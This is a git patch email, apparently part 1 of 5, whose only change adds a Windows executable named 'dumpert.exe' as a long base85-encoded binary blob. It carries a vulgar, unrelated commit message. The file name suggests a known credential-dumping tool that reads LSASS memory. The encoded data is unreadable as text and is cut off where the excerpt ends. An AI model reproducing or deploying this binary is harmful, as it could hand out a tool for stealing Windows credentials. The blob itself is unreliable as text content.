From 51eca732ba66d2ece0c13f0c9d025f97e0f024e5 Mon Sep 17 00:00:00 2001 From: Kuni <63074533+PorLaCola25@users.noreply.github.com> Date: Wed, 30 Sep 2020 10:53:23 -0300 Subject: [PATCH 1/5] nico se la come --- dumpert.exe | Bin 0 -> 134656 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 dumpert.exe diff --git a/dumpert.exe b/dumpert.exe new file mode 100644 index 0000000000000000000000000000000000000000..6b5a2803d442ac3096623e556e9362aa36a21f9c GIT binary patch literal 134656 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 